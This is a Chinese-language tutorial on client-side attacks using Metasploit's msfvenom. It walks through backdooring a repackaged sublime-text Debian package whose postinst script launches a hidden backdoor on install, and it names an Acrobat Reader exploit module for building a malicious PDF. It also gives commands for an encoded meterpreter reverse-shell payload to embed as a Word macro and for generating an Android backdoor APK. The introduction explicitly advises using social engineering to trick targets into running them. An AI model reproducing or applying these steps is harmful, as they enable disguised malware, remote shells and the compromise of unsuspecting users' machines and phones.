0x00 概要
我们在无法突破对方的网络边界的时候,往往需要使用客户端渗透这种方式对目标发起攻击,比如我们想目标发一个含有后门的程序,或者是一个word文档、pdf文件。想要达到效果同时也要利用好社会工程学,来欺骗对方,使其中招。
这篇文章中我们主要会使用到metasploit中的msfvenom这个工具,如果大家对msfvenom这个工具不了解的话可以参考我这篇博客:metasploit初级之msfvenom
0x01 后门程序(linux)
windows后门怎么创建大家只要参照我上面说的那个博客做就可以了,这里我们不在赘述。
这里我们使用sublime-text.deb这个文件,附上下载链接:sublime-text。
第一步:我们需要将下载好的文件解包(如 1),之后我们会得到解包后的文件夹(如 2)
第二步:接下来我们需要生成一个shellcode程序将其存放在我们解包后的文件夹中
可以看出我们的shellcode程序已经成功的添加进去了。
第三步:我们要给后门程序执行权限,接下来我们需要写配置文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
root
@
lucifer
:
~
/
Downloads
/
sublime
# mkdir DEBIAN
root
@
lucifer
:
~
/
Downloads
/
sublime
# cd DEBIAN/
root
@
lucifer
:
~
/
Downloads
/
sublime
/
DEBIAN
# touch control
root
@
lucifer
:
~
/
Downloads
/
sublime
/
DEBIAN
# touch postinst
root
@
lucifer
:
~
/
Downloads
/
sublime
/
DEBIAN
# cat postinst
#!/bin/sh
sudo
chmod
2755
/
usr
/
bin
/
backdoor
&&
/
usr
/
bin
/
backdoor
&
/
usr
/
bin
/
subl
&
root
@
lucifer
:
~
/
Downloads
/
sublime
/
DEBIAN
# cat control
Package
:
sublime
Version
:
1.0.0
Section
:
Code
Priority
:
optional
Architecture
:
amd64
Maintainer
:
Ubuntu
MOTU
Developers
(
ubuntu
-
montu
@
lists
.
ubuntu
.
com
)
Description
:
a
text
-
tool
root
@
lucifer
:
~
/
Downloads
/
sublime
/
DEBIAN
#
|
我们需要创建文件夹DEBIAN并且在文件夹中写入control文件和postinst文件,并赋予postinst 755权限,文件内容上面已经给出。
第四步:将文件重新打包
1
2
|
root
@
lucifer
:
~
/
Downloads
# dpkg-deb --build sublime
dpkg
-
deb
:
building
package
'sublime'
in
'sublime.deb'
.
|
第五步:本地msf开启监听
第六步:在另一台linux系统上安装我们刚刚打包好的deb文件并执行。
0x02 利用Acrobat Reader漏洞执行payload
构造恶意pdf文件(exploit/windows/fileformat/adobe_utilprintf)
0x03 VBScript感染
VBScript感染主要是利用宏感染word、excel,也就是我们通常所说的宏病毒。
第一步:生成vbscript脚本
1
2
|
msfvenom
-
a
x86
--
platform
windows
-
p
windows
/
meterpreter
/
reverse_tcp
LHOST
=
192.168.43.39
LPORT
=
4444
-
e
x86
/
shikata_ga_nai
-
f
vba
-
exe
|
第二步:创建word文档并将生成的代码粘贴进去
payload的第一部分粘入VBA代码
payload的第二部分粘入word文档正文
第三步:本地启用msf侦听。
0x04 生成安卓后门程序
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
msf
>
use
payload
/
android
/
meterpreter
/
reverse_tcp
msf
payload
(
reverse_tcp
)
>
show
options
Module
options
(
payload
/
android
/
meterpreter
/
reverse_tcp
)
:
Name
Current
Setting
Required
Description
--
--
--
--
--
--
--
--
--
-
--
--
--
--
--
--
--
--
--
-
LHOST
yes
The
listen
address
LPORT
4444
yes
The
listen
port
msf
payload
(
reverse_tcp
)
>
set
LHOST
192.168.43.39
LHOST
=
>
192.168.43.39
msf
payload
(
reverse_tcp
)
>
generate
-
h
Usage
:
generate
[
options
]
Generates
a
payload
.
OPTIONS
:
-
E
Force
encoding
.
-
b
<
opt
>
The
list
of
characters
to
avoid
:
'\x00\xff'
-
e
<
opt
>
The
name
of
the
encoder
module
to
use
.
-
f
<
opt
>
The
output
file
name
(
otherwise
stdout
)
-
h
Help
banner
.
-
i
<
opt
>
the
number
of
encoding
iterations
.
-
k
Keep
the
template
executable
functional
-
o
<
opt
>
A
comma
separated
list
of
options
in
VAR
=
VAL
format
.
-
p
<
opt
>
The
Platform
for
output
.
-
s
<
opt
>
NOP
sled
length
.
-
t
<
opt
>
The
output
format
:
bash
,
c
,
csharp
,
dw
,
dword
,
hex
,
java
,
js_be
,
js_le
,
num
,
perl
,
pl
,
powershell
,
ps1
,
py
,
python
,
raw
,
rb
,
ruby
,
sh
,
vbapplication
,
vbscript
,
asp
,
aspx
,
aspx
-
exe
,
axis2
,
dll
,
elf
,
elf
-
so
,
exe
,
exe
-
only
,
exe
-
service
,
exe
-
small
,
hta
-
psh
,
jar
,
jsp
,
loop
-
vbs
,
macho
,
msi
,
msi
-
nouac
,
osx
-
app
,
psh
,
psh
-
cmd
,
psh
-
net
,
psh
-
reflection
,
vba
,
vba
-
exe
,
vba
-
psh
,
vbs
,
war
-
x
<
opt
>
The
executable
template
to
use
msf
payload
(
reverse_tcp
)
>
generate
-
f
a
.
apk
-
p
android
-
t
raw
[
*
]
Writing
8842
bytes
to
a
.
apk
.
.
.
|
这样我们就可以成功的生成一个安卓的后门程序。